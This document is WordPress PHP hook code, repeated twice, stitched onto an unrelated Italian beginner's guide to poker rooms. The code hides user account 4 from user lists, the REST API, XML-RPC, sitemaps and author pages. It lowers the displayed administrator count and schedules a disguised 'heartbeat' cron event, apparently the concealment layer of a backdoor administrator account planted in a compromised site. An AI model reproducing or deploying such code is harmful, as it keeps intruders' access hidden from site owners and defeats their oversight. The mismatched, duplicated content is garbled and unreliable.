add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
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add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Prima di sedersi a un tavolo, dedicare del tempo a osservare è un passaggio fondamentale. Guardare i giocatori esperti in azione può insegnare molto: come gestiscono le fiches, come reagiscono ai bluff e come interpretano le mosse degli avversari. Alcuni tavoli sono più adatti ai principianti, come quelli con blinds bassi o dove l’atmosfera è meno competitiva. Un errore comune è sedersi troppo presto, magari di fronte a giocatori aggressivi che possono rendere l’esperienza frustrante. Ricordate: le prime fiches sono le più preziose, e perderle senza aver capito le dinamiche può essere controproducente. Ad esempio, alcuni giocatori esperti adottano la tattica del “tight-aggressive”, ovvero giocano poche mani ma con grande aggressività, rendendo difficile competere se non si sa come rispondere. Un altro aspetto da osservare è il modo in cui i giocatori gestono il tilt, quella frustrazione che porta a decisioni impulsive dopo una perdita. Guardare come qualcuno recupera da uno stato di tilt può essere altrettanto istruttivo che osservare una vincita.
Conoscere le basi del Texas Hold’em è essenziale: sapere come funzionano i blinds, quando è il momento di foldare e come gestire le proprie fiches è il punto di partenza. Tuttavia, non è necessario iniziare con strategie avanzate. Un dealer amichevole può essere di grande aiuto per chiarire dubbi o suggerire mosse appropriate. Il momento per passare a livelli più complessi arriva quando vi sentite sicuri delle regole di base e avete iniziato a riconoscere i pattern di comportamento degli altri giocatori. L’equilibrio tra apprendimento e azione è fondamentale: non abbiate fretta di diventare esperti. Ad esempio, imparare a calcolare le “pot odds”, ovvero il rapporto tra la dimensione del piatto e la puntata richiesta, può sembrare complicato all’inizio, ma è una competenza che si acquisisce con la pratica. Un altro consiglio utile è evitare di giocare troppe mani: statisticamente, anche i giocatori esperti vincono solo il 10-15% delle mani in cui entrano, quindi la selezione iniziale è cruciale.
L’atmosfera di una poker room è spesso vivace e coinvolgente, ma può anche distrarre facilmente. Concentrarsi mentre ci sono conversazioni rumorose o giocatori particolarmente espressivi richiede disciplina. Imparare a riconoscere i segnali che indicano quando è il momento di prendersi una pausa è cruciale. Non tutti i tavoli sono uguali: alcuni sono più tranquilli e adatti a chi vuole concentrarsi, mentre altri sono ideali per chi cerca un’esperienza più sociale. Ricordatevi che anche il tempo trascorso lontano dal tavolo può essere prezioso per riflettere e riorganizzare le vostre strategie. Ad esempio, in alcune poker rooms si possono trovare tavoli con giocatori che parlano costantemente o addirittura si alzano per scambiare battute con altri tavoli. Questo tipo di ambiente può essere divertente, ma può anche portare a prendere decisioni affrettate o a non prestare attenzione ai dettagli del gioco. Al contrario, tavoli più silenziosi possono favorire un focus maggiore, ma richiedono anche una maggiore capacità di mantenere la concentrazione per periodi prolungati.
Dopo aver trascorso una mezz’ora osservando e assimilando le dinamiche, è il momento di valutare se siete pronti a giocare seriamente. Alcuni segnali vi indicheranno che state imparando: riconoscere i bluff, gestire meglio le vostre fiches e sentirvi più sicuri nelle vostre mosse sono ottimi indicatori. Tuttavia, sapere quando chiudere la sessione è altrettanto importante. Giocare troppo a lungo può portare a decisioni impulsive e perdite inutili. Come ho visto al Casinò di Venezia, i giocatori più saggi sanno quando è il momento di andarsene, lasciando spazio per tornare un’altra volta con nuove energie e idee. Ad esempio, un giocatore ha raccontato di aver fissato un limite di tempo di tre ore per ogni sessione, indipendentemente dal risultato. Questo approccio gli ha permesso di evitare il “downswing”, ovvero quella fase in cui si perdono continuamente fiche a causa della stanchezza o della perdita di concentrazione. Un altro consiglio pratico è quello di stabilire un budget giornaliero e rispettarlo rigorosamente, senza cercare di recuperare le perdite della sera prima.
Questa guida vi offre una visione pratica di cosa aspettarsi dalla vostra prima esperienza in una poker room. Tuttavia, non copre tutto: ogni sala ha le sue peculiarità, e ogni giocatore deve trovare il proprio ritmo. L’importante è iniziare con attenzione e mantenere sempre il controllo, sia delle fiches che delle proprie emozioni. Ricordate anche che la psicologia del gioco è spesso sottovalutata: saper leggere le espressioni degli avversari e mantenere una “poker face” può fare la differenza tra una sessione vincente e una perdente. Infine, non sottovalutate l’importanza della pratica: più giochi, più imparerai, ma sempre con moderazione e consapevolezza.
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